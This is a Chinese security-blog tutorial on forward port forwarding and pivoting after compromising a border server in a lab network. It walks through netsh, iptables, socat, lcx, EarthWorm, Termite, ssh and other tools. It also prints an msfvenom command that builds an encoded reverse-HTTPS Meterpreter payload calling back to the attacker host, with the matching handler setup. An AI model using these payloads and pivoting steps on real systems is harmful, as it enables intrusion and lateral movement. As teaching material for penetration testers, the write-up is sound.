【ATT&CK】端口转发技术大全(上)

2019-09-25 9,040







1.前言

 

       在实际渗透过程中,我们通过授权成功获取了目标服务器的权限,此时我们希望在本机上应用程序(msf、nmap、sqlmap等等)访问目标机器内部网络中所开放的端口(比如的3389、23、80、8080端口等等),可入侵的目标服务器都是出入内网,我们的访问是受限的,我们想要与目标主机进行通信或者访问目标内网资源,就需要借助端口转发技术来达到我们的目的。

       接下来我们将分上、下两篇为大家带来端口转发技术大全。上篇将介绍正向端口转发技术。










2. 网络拓扑图及环境

环境:

受害主机:

Sangfor-1       为目标内网的一台Windows WEB服务器,ip:192.168.1.1

Sangfor-2       为目标内网的一台Windows WEB服务器,ip:192.168.1.2

Sangfor-3       为目标内网的一台Windows WEB服务器,ip:192.168.1.3

Sangfor-4       为目标内网的一台Linux服务器,ip:192.168.1.4

Sangfor-5       为目标内网的一台Linux服务器,ip:192.168.1.5

Sangfor-6       为目标内网的一台Linux服务器,ip:192.168.1.6

入侵主机:

Attacker-Win7       为入侵者本地的一台Windows客户机,ip:10.100.18.29/10.100.18.34

Attacker-Win10       为入侵者本地的一台Windows客户机,ip:10.100.18.25/10.100.18.33

KaliMaster       为入侵者本地的一台Linux客户机,ip:10.100.18.20/10.100.18.32









3. 工具介绍

3.1

端口转发


适用端口转发的业务场景有以下几种:
  1. 目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,此类业务场景已经极少出现;

  2. 目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等);

  3. 目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等)。

       以上三种业务场景,第一种可以使用正向端口转发,第二种用反向端口转发&WEBSHELL类端口转发&第三方及自建内网穿透技术突破,第三种则需要反向+正向才可突破。


3.1.1.正向端口转发

正向端口转发流程图


3.1.1.1. netsh

       自Windows XP开始,Windows中就内置网络端口转发的功能。任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。

       通过目标边界的Sangfor-2服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]:

       先到边界肉鸡Sangfor-2(192.168.1.2)上执行如下转发

#netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.168.1.1 protocol=tcp


        查看端口转发规则

#netsh interface portproxy dump


        删除命令

#netsh interface portproxy delete v4tov4 listenport=5555


        入侵者主机Attacker-Win10使用mstsc连接192.168.1.2的5555端口


3.1.1.2. iptables

       iptables防火墙可以用于创建过滤(filter)与NAT规则。所有Linux发行版都能使用iptables。

    通过目标边界的[Sangfor-6]肉鸡服务器的5555端口来访问内网192.168.1.1:3389主机,当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。


命令格式:

       首先要到边界肉机开启路由转发

#echo 1 > /proc/sys/net/ipv4/ip_forward

 iptables的INPUT链配置允许

#iptables -P INPUT ACCEPT

       之后,继续在边界肉鸡机器上的iptables中追加如下转发规则:

       将目的 ip 为 192.168.1.6(边界肉鸡),端口 5555 的数据包全部转换为目的 ip 为 192.168.1.1,端口为 3389,这一步只是先把数据包地址转换过来

#iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 5555 -j DNAT --to-destination 192.168.1.1:3389

       通俗来讲就是告诉 iptables,目的 ip 为 192.168.1.1,端口为 3389 的数据包都从 192.168.1.6(就是把源地址转为192.168.1.6为边界肉鸡地址)这个地址上走,这样就能访问到指定的目标内网机器,如下配置

#iptables -t nat -A POSTROUTING -d 192.168.1.1 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.1.6


#iptables -A FORWARD -o eth2 -d 192.168.1.1 -p tcp --dport 3389 -j ACCEPT


        保存并重启iptables服务

#/etc/init.d/iptables save && /etc/init.d/iptables restart


        入侵者主机KaliMaster执行

rdesktop 192.168.1.6 5555


        如上所述,我们也可以利用这种方法,尝试通过目标边界的 边界肉鸡 机器访问到内网机器上的 ssh,具体如下

1   #iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22
2   #iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6
3   #iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT
4   #/etc/init.d/iptables save && /etc/init.d/iptables restart



3.1.1.3. socat

       socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。

       socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。 

       socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。 

       socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。

       工具地址:http://www.dest-unreach.org/socat

       安装 socat

apt-get install socat

       通过目标边界的Sangfor-4服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]


命令格式:

        肉机执行:

       当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

# socat TCP4-LISTEN:5555,reuseaddr,fork TCP4:192.168.1.1:3389

       入侵者主机执行:

mstsc 192.168.1.4 5555

3.1.1.4. lcx

        lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网3389端口。

  这个工具很早就已经有了,它的全名叫Socket data transport tool,简写做trtool,由红盟联盟的前辈bkbll所写,功能和lion写的htran 1.1版一样,不过是在linux下使用的而已。所谓的lcx.exe其实是lcx根据lion的代码所修改编译过的htran。现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。

       通过目标边界的[Sangfor-2]192.168.1.2服务器的5555端口来访问内网192.168.1.1主机,具体如下:

        先到目标主机192.168.1.2上执行如下转发

        执行正向转发:

>lcx -tran 5555 192.168.1.1 3389

        查看监听端口

        入侵者主机使用mstsc连接192.168.1.2的5555端口

        lcx转发日志信息


3.1.1.5. htran

        多线程包转发 + Socks5 + 端口重用Socks5 + 反连Socks5。

      通过目标边界的[Sangfor-2]192.168.1.2服务器的5555端口来访问内网192.168.1.1主机,具体如下:

        肉机执行:

htran -p -tran 5555 192.168.1.1 3389

        入侵者主机执行:

mstsc 192.168.1.2 5555

3.1.1.6. EW

       EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。

     该工具共有6中命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

       工具地址:http://rootkiter.com/EarthWorm


      通过目标边界的[Sangfor-2]192.168.1.2服务器的5555端口来访问内网192.168.1.1主机,具体如下:

        帮助信息:

       肉机执行:

>ew_win32.exe -s lcx_tran -l 5556 -f 192.168.1.1 -g 3389

       入侵者主机执行:

mstsc 192.168.1.2 5555

3.1.1.7. Termite

       工具在多种操作系统下均有Agent实现,由于代码为标准C实现,所以未来还将有更多的平台被支持。

       Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。

       管理员可通过Admin程序,对拓扑中的任意节点进行管控,包括但不限于文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发等功能。

       如何构建起目标内网的节点地图,具体过程如下:

       首先,到 KaliMaster [vps]机器上准备好监听

# ./agent_Linux64 -l 3366

       之后,再到目标一级内网下的 Sangfor-5 机器上执行 agent 反向连接,此时,整个目标节点地图的第一层就建立好了

#./agent_Linux64 -c 10.100.18.20 -p 3366

       最后,再回到本地的 Attacker-Win7 机器上用管理端连到 KaliMater[vps] 的 agent 上去,接着就可以看到并管理目标内网的第一层 agent 节点了

>admin_Win32.exe -c 10.100.18.20 -p 3366

       回到KaliMaster和Sangfor-5可以看到有新的提示信息出来,提示自身的id号是多少,以及上游的id是多少

        节点1为入侵者KaliMater[vps],节点2为受害者主机Sangfor-5

>>>>help   查看帮助

        查看节点,并跳到指定节点   

1  >>>>show
2  >>>> goto 2
3  >>>>lcxtran 3388 192.168.1.1 3389

        以2号节点为跳板,将 192.168.1.1的 3389 端口映射至本地的 3388 端口。


3.1.1.8. Portmap

        linux下的lcx


1   ##linux下 编译
2   gcc linux_lcx.c -o lcx
3   ####用法
4   [root@localhost]:~# ./lcx
5   Socket data transport tool
6   by bkbll(bkbll@cnhonker.net)
7   Usage:./lcx -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] 
8   -v: version 
9   -h1: host1 
10  -h2: host2 
11  -p1: port1 
12  -p2: port2 
13  -log: log the data 
14  -m: the action method for this tool 
15  1: listen on PORT1 and connect to HOST2:PORT2 
16  2: listen on PORT1 and PORT2 
17  3: connect to HOST1:PORT1 and HOST2:PORT2
18  Let me exit...all overd

        通过目标边界的linux服务器的5555端口来访问内网192.168.1.1主机的3389端口,具体如下:

        编译:

#gcc linux_portmap.c -o linux_portmap

        查看帮助信息:

#./linux_portmap

        当监听来自外部1399端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

        边界肉鸡上执行:

# ./linux_portmap -m 1 -p1 1399 -h2 192.168.1.1 -p2 3389

        入侵者主机执行

rdesktop 192.168.1.5:1399

        入侵者连接过程中产生的日志


3.1.1.9. rtcp

        利用Python的Socket端口转发,用于远程维护,如果连接不到远程,会sleep36s,最多尝试200次(即两小时)。

./rtcp.py stream1 stream2

        stream 为:l:port 或 c:host:port

        l:port 表示监听指定的本地端口

        c:host:port 表示监听远程指定的端口

        使用场景

        A 服务器在内网,公网无法直接访问这台服务器,但是 A 服务器可以联网访问公网的 B 服务器(假设 IP 为 222.2.2.2)。

        我们也可以访问公网的 B 服务器。我们的目标是访问 A 服务器的 22 端口。那么可以这样:

        在 B 服务器上运行:

./rtcp.py l:10001 l:10002

        表示在本地监听了 10001 与 10002 两个端口,这样,这两个端口就可以互相传输数据了。

        在 A 服务器上运行:

./rtcp.py c:localhost:22 c:222.2.2.2:10001

        表示连接本地的 22 端口与 B 服务器的 10001 端口,这两个端口也可以互相传输数据了。

        然后我们就可以这样来访问 A 服务器的 22 端口了:

ssh -p 10002 222.2.2.2

        原理很简单,这个命令执行后,B 服务器的 10002 端口接收到的任何数据都会传给 10001 端口。

        此时,A 服务器是连接了 B 服务器的 10001 端口的,数据就会传给 A 服务器,最终进入 A 服务器的 22 端口。

      通过目标边界的[Sangfor-4]192.168.1.4服务器的5555端口来访问内网192.168.1.1主机,具体如下:

        边界肉鸡[Sangfor-4]192.168.1.4执行:

       当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

1   #git clone  
2   #python rtcp.py l:5555 c:192.168.1.1:3389

        入侵者主机执行:

mstsc 192.168.1.4 5555

3.1.1.10. FPipe

        命令格式:

FPipe -l 1430 -s 1431 -r 1433 192.168.1.1

        这句命令的意思是:通过边界机器正向端口转发,1430端口接收外部的流量后利用1431端口转发到内网目标主机端口,1431端口可以指定,也可以不指定

通过目标边界的[Sangfor-2]192.168.1.2服务器的5555端口来访问内网192.168.1.1主机,具体如下:

        肉机[Sangfor-2]执行:

FPipe.exe -l 5555 -r 3389 192.168.1.1 -v

        入侵者主机执行:

mstsc 192.168.1.2 5555

3.1.1.11. portfwd

        Meterpreter shell中的portfwd命令最常用作pivoting技术,允许直接访问攻击系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以实质上通过本机转发TCP连接,从而使其成为一个支点。就像使用ssh连接的端口转发技术一样,portfwd将中继与连接的机器之间的TCP连接。

        首先生成payload然后到边界肉鸡Sangfor-5执行反弹回来

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https lhost=10.100.18.20 lport=443 -e x86/shikata_ga_nai -b 'x00' -i 5 -f exe -o https.exe

        KaliMaster设置好监听,等待反弹shell

1   msf >  use exploit/multi/handler
2   msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
3   payload => windows/meterpreter/reverse_https
4   msf exploit(multi/handler) > set lhost 10.100.18.20
5   lhost => 10.100.18.20
6   msf exploit(multi/handler) > set lport 443
7   lport => 443
8   msf exploit(multi/handler) > set exitonsession false
9   exitonsession => false
10  msf exploit(multi/handler) > exploit -j

        成功上线后,查看session

        添加tcp转发规则

> portfwd add -l 1389 -r 192.168.1.1 -p 3389

        查看本地监听端口

#netstat -tlunp | grep “:1389”

        Attacker-Win7[vps]执行

mstsc 10.100.18.20:1389

3.1.1.12. rinetd

        Linux下简单好用的工具rinetd,实现端口映射/转发/重定向。

        工具地址:http://www.boutell.com/rinetd

        下载:

wget http://www.boutell.com/rinetd/http/rinetd.tar.gz

        解压安装:

1   tar zxvf rinetd.tar.gz

2   make

3  make install

        编辑配置:

1  vi /etc/rinetd.conf
2  0.0.0.0 8080 172.19.94.3 8080
3  0.0.0.0 2222 192.168.0.103 3389
4  1.2.3.4 80 192.168.0.10 80

说明一下(0.0.0.0表示本机绑定所有可用地址)

将所有发往本机8080端口的请求转发到172.19.94.3的8080端口

将所有发往本机2222端口的请求转发到192.168.0.103的3389端口

将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口


        命令格式:

bindaddress bindport connectaddress connectport

绑定的地址 绑定的端口 连接的地址 连接的端口

[Source Address] [Source Port] [Destination Address] [Destination Port]

源地址 源端口 目的地址 目的端口


        启动程序:

1   pkill rinetd ##关闭进程
2   rinetd -c /etc/rinetd.conf ##启动转发

        把这条命令加到/etc/rc.local里面就可以开机自动运行

通过目标边界的windows web服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]

        肉机执行:

        当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

1   # bindadress    bindport  connectaddress  connectport
2   0.0.0.0  5555 192.168.1.1 3389

        启动rinetd

1   #rinetd
2   #netstat -tlunp  //查看监听

        入侵者主机执行

mstsc 192.168.1.2 5555

        需要注意

  1. rinetd.conf中绑定的本机端口必须没有被其它程序占用

  2. 运行rinetd的系统防火墙应该打开绑定的本机端口




3.1.1.13. PowerShell

        利用 powershell 进行常规 tcp 端口转发,支持正反向端口转发,正向socks代理。

        通过目标边界Sangfor-2机器的 1389 端口来访问内网 Win2008 机器上的 3389 端口,具体如下:

        当监听来自外部1388端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

        边界肉机执行如下转发

1   PS> Powershell -exec -bypass
2   PS>Import-Module .Invoke-SocksProxy.psm1
3   PS>Invoke-PortFwd -BindPort 1388 -DestHost 192.168.1.1 -DestPort 3389

        入侵者主机执行

mstsc 192.168.1.2 1388

3.1.1.14. ssh正向tcp端口加密转发

        又称ssh本地端口转发。

        SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是,SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP 这些TCP 应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH 的连接,也能够通过将TCP 端口转发来使用SSH 进行通讯。


常用命令:

1    ssh -CfNg -L 8080:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
2    -C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
3    -f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
4    -g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。 
5    -N:不执行远程指令。
6    -R:远程转发
4    -L:本地转发
8    -D:动态转发,即socks代理
9    -p:指定远程ssh服务端口
10   -n:后台运行
11   -p:安静模式,不要显示任何debug信息

        首先要确认如下配置

1   # vi /etc/ssh/sshd_config
2   AllowTcpForwarding yes
3   GatewayPorts yes
4   TCPKeepAlive yes 保持心跳,防止 ssh 断开
5   PasswordAuthentication yes
6   # /etc/init.d/ssh restart

        在KaliMaster执行://边界受控机的ssh用户名和密码

#ssh -CfNg -L 0.0.0.0:5556:192.168.1.1:3389 root@192.168.1.5 -p 22
ps aux | grep CfNg
netstat -tlunp | grep “:5556”

        在Attacker-Win7[vps]上连接KaliMaster的5556端口

mstsc 10.100.18.20:5556

        或者KaliMaster自己本地打开如下

>rdesktop -f -a 16 127.0.0.1:5556 -r sound:off -g 1024*768

流程解释:

        数据一旦进入隧道以后,数据会发送到本机5556端口,再在本机开一个随机端口,充当ssh客户端,再把数据流量发送到22端口的SSH服务端,SSH服务器收到数据以后,解密数据,临时开一个随机端口充当客户端,再把流量发送到目标192.168.1.1:3389端口上


3.1.1.15. Passport

        Win 平台纯图形化 tcp / udp 端口转发工具 PassPort

        通过目标边界的Sangfor-2服务器的5555端口来访问内网192.168.1.1主机,具体如下[正向tcp端口转发]

        肉机执行

       当监听来自外部5555端口流量时自动把他转发到目标内网192.168.1.1的3389端口上。

        入侵者主机执行

mstsc 192.168.1.2 5555

3.1.1.16. Netcat

        尝试过该工具不是很稳定,故不做演示了,只将方法介绍给大家

        将外部访问本地的8080端口的流量转发到192.168.1.200的80端口上去

ncat -l 8080 | ncat 192.168.1.200 80

        将外部访问本地的5555端口的流量转发到192.168.1.1的3389端口上去

ncat -l 5555 | ncat 192.168.1.1 3389



本文作者:Further_eye

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/113242.html

Tags:
评论  (0)
快来写下你的想法吧!

Further_eye

文章数:319 积分: 2105

深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号